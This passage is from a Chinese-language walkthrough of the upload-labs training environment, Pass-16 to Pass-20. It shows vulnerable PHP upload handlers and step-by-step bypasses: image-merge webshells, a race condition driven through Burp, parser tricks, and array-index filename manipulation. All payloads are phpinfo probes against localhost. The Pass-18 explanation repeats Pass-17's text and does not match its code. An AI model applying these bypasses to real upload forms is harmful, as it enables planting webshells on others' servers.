$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
PHP 中的 exif_imagetype()函数用于确定图像的类型。此函数读取给定图像的第⼀个字节并检查其签名当找到正确的签名时,则exif_imagetype()返回适当的常量值;否则它返回 False。
备注:后续步骤与13关的"图片木马"操作类似。
17、Pass-16 (二次渲染绕过)
访问地址:
bash
http://127.0.0.1/Pass-16/index.php
Step1:查看上传文件的源码
bash
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
使用了imagecreatefrompng、imagecreatefromjpeg、imagecreatefromgif的方法验证不同图片。绕过格式不正确,会报异常。
Step2:上传于13关合并的图片后,在include.php页面中发现恶意代码被过滤了。
Step3:合并为gif图片
使用gif的原因:
使用gif的文件来上传木马,gif最高支持256种颜⾊。由于这种特性,重新渲染改动不会太多!
合并命令:
bash
copy IMG.gif /b + 13.php /a webshell.gif
Step4:下载已上传的图片
原因: 将上传后的文件下载后发现,恶意语句还是被过滤掉了。

Step5:利用"010 Editor"编辑器对比已下载的图(21653.gif)和原始合并的图(webshell.gif)

Step6:对比后在相同的位置篡改
将此语句插入到两个文件都相同的位置
bash
<?php phpinfo(); ?>
效果图:

Step7:再次将下载后的图片插入恶意语句
访问地址:
bash
http://127.0.0.1/include.php?file=upload/14627.gif

18、Pass-17(条件竞争)
访问地址:
bash
http://127.0.0.1/Pass-17/index.php
Step1:查看上传文件的源码
bash
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
这段代码虽然进行了白名单验证,但上传的任何文件都会被删除。然而,由于删除操作可能延迟,可以利用条件竞争在文件被删除前通过其他漏洞(如文件包含)执行恶意代码。
Step2:编辑17.php
bash
<?php phpinfo(); ?>
Step3:打开BurpSuite,并开启"intercept on";并开启浏览器的代理
Step4:上传17.php并提交
Step5:在BurpSuite中,发送到爆破模块

Step6:进行爆破前的设置

Step7:开始爆破

出现如下界面说明已经在爆破了

Step8:关闭BurpSuite中的"intercept on"
Step9:在浏览器中疯狂刷新页面,直接到出现结果为止
访问地址:
bash
http:127.0.0.1/upload/17.php

这是因为利用条件竞争时,17.php在爆破过程中会存在,也可能被删除,而且速度很快,因此,需要迅速刷新。
19、Pass-18 (解析漏洞)
访问地址:
bash
http://127.0.0.1/Pass-18/index.php
Step1:查看上传文件的源码
bash
# 这是位于D:\upload-labs-env\WWW\Pass-18\myupload.php的代码
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
# ============此为先移动在修改文件名
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
# ============此为先移动在修改文件名
# 这是位于D:\upload-labs-env\WWW\Pass-18\index.php的代码
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
// 此行表示,只允许白名单的文件上传,不能穿php文件
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
这段代码虽然进行了白名单验证,但上传的任何文件都会被删除。然而,由于删除操作可能延迟,可以利用条件竞争在文件被删除前通过其他漏洞(如文件包含)执行恶意代码。
Step2:编辑18.php.7z
bash
<?php phpinfo(); ?>
Step3:打开BurpSuite,并开启"intercept on";并开启浏览器的代理
Step4:上传18.php.7z并提交
Step5:在BurpSuite中,发送到爆破模块

Step6:进行爆破

说明: 与17关的操作基本一致。
Step7:关闭BurpSuite中的"intercept on"
Step8:在浏览器中疯狂刷新页面,直接到出现结果为止
访问地址:
bash
http://127.0.0.1/upload18.php.7z

20、Pass-19 (黑名单)
访问地址:
bash
http://127.0.0.1/Pass-19/index.php
Step1:查看上传文件的源码
bash
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
/*
$file_name = trim($_POST['save_name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
*/
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
# 文件名用 upload-19.php/. 可以通过
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
文件名用 upload-19.php/. 可以通过,验证的是 php/. 可以验证通过。
**Step2:编辑loudong.png **
bash
<?php phpinfo(); ?>
Step3:上传loudong.png,并修改文件名为upload-19.php/.之后进行提交

Step4:复制图片地址后去访问地址
bash
http://127.0.0.1/upload/upload-19.php/

21、Pass-20 (白名单)
访问地址:
bash
http://127.0.0.1/Pass-20/index.php
Step1:查看上传文件的源码
bash
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//mime check
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//check filename
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这段原本代码会拼接为:upload-20.php.jpg
end() 函数将数组内部指针指向最后也给元素,并返回该元素的值,所以该函数可接受数组;
reset()函数将内部指针指向数组中的第一个元素并输出,所以该函数也可接受数组;
count() 统计数组有多少个元素。
可以接受数组:
save_name[0]=upload-20.php
save_name[2]= jpg
bash
$file_name = reset($file) . '.' . $file[count($file) - 1];
这⾏代码拼接的名字为:
upload-20.php+"." +save_name[1]的数据
而save_name[1]没有,结果为upload-20.php.
Step2:编辑loudong.jpg
bash
<?php phpinfo(); ?>
Step3:打开BurpSuite,并开启"intercept on";并开启浏览器的代理
Step4:修改请求

Step5:访问已上传的图片地址
访问地址:
bash
http://127.0.0.1/upload/upload-20.php.
